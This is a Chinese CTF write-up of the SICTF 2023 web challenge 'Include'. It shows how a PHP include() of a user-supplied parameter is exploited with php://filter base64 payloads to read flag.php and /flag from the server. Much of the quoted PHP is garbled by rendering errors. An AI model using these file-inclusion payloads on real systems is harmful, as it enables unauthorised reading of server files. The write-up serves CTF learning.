2023SICTF-web-白猫-[签到]Include
0×01 分析题目
#题目名称:
[签到]Include
#题目简介:
flag位于flag.php,是一个非常简单的文件包含捏~
#题目环境:
http://210.44.151.51:10035/
#函数理解:
substr() 函数返回字符串的一部分
如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
语法
substr(string,start,length)
参数string,必需,规定要返回其中一部分的字符串
参数start,必需,规定在字符串的何处开始
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾开始的指定位置开始
0 - 在字符串中的第一个字符处开始,(n-1)
#环境代码:
<?php #PHP开始代码,头代码
error_reporting(0); #屏蔽报错信息
if (isset(KaTeX parse error: Expected '}', got '#' at position 60: … #̲_GET函数获取SICTF变量的数据,isset函数用来检测SICTF变量是否存在并且是否非空(NULL),if循环判断语句条件满足继续向下执行
if ( substr(KaTeX parse error: Expected '}', got '#' at position 42: …php" ) { #̲substr函数返回SICTF…_GET[“SICTF”]); #include函数包含并执行文件,执行SICTF变量值里面的文件,并且返回结果
}
else { #反之
echo "你干嘛~~~"; #输出 你干嘛~~~
}
}else { #反之
highlight_file(__FILE__); #highlight_file() 函数对文件进行语法高亮显示,继续呈现页面代码
} #结束
#初次尝试:
1.payload:
URL/?SICTF=1;
回显结果:
你干嘛~~~
2.payload:
URL/?SICTF=php;
回显结果:
你好厉害呀~~~
条件达成但是并没有回显flag
考虑到题目名称和题目简介以及环境代码中的include文件包含函数
猜测需要用到php://filter伪协议来绕过文件包含
0×02 开始解题
#进行PHP伪协议伪造
伪造之前先了解,PHP伪协议构造的规则
php://filter/过滤器|过滤器/resource=待过滤的数据流
web中大部分都是BASE64编码格式,那么我们过滤器就用convert.base64-encode
构造后:
php://filter/convert.base64-encode/resource=flag.php
完整payload:
1. URL/?SICTF=php://filter/convert.base64-encode/resource=flag.php
2. URL/?SICTF=php://filter/read=convert.base64-encode/resource=flag.php
拆分解析:
?是起始符可以理解为连接拼接的意思
URL是环境链接
SICTF是题目中给的变量
=是赋值的意思
php://filter是伪协议
convert转换,base64,encode编码
resource=flag.php转换到flag.php文件中,就是说把flag.php文件转换为base64编码格式
上传payload
回显结果:
你好厉害呀~~~PD9waHAKJGZpbGVfcGF0aCA9ICIvZmxhZyI7CmlmIChmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgewogICAgJGZsYWcgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKfQplbHNlewogICAgZWNobyAiZXJyb3IiOwp9Cg==
显而易见这是base64编码
送去base64解码,结果:
<?php #PHP开始,头代码
KaTeX parse error: Expected 'EOF', got '#' at position 54: … #̲file_path文件路径,/根目录下的flag
if (file_exists($file_path)) { #file_exists检查根目录下的flag文件或目录是否存在,if循环判断语句,条件满足继续向下执行
f
l
a
g
=
f
i
l
e
g
e
t
c
o
n
t
e
n
t
s
(
flag = file_get_contents(
flag=filegetcontents(file_path); #file_get_contents() 函数把根目录下的flag整个文件读入一个
f
l
a
g
字符串中
,
flag字符串中,
flag字符串中,flag定义的flag变量
}
else{ #反之
echo “error”; #输出 error
} #结束
通过分析以上代码可知,此flag文件可能是文本文件,并且在/根目录下
所以说resource待过滤的数据流不是flag.php而是/flag
重新构造payload:
URL/?SICTF=php://filter/convert.base64-encode/resource=/flag
上传payload后数据流/flag传入
f
i
l
e
p
a
t
h
参数里面,继续向下执行进入到
i
f
循环判断语句中,检擦到
file_path参数里面,继续向下执行 进入到if循环判断语句中,检擦到
filepath参数里面,继续向下执行进入到if循环判断语句中,检擦到file_path参数变量/flag根目录下的flag文件存在,继续向下执行
file_get_contents() 函数把根目录下的flag整个文件读入一个
f
l
a
g
字符串参数中
,
并回显
flag字符串参数中,并回显
flag字符串参数中,并回显flag字符串参数的值
再一次拿到base64编码:
你好厉害呀~~~U0lDVEZ7ZjZiYzQ1NTQtMDU5Mi00ODdkLTk5ZDQtNTAzZTQ0YWM0ODIyfQo=
送去base64解码
#拿到flag
SICTF{f6bc4554-0592-487d-99d4-503e44ac4822}
base64编码解码网站推荐:https://c.runoob.com/front-end/693/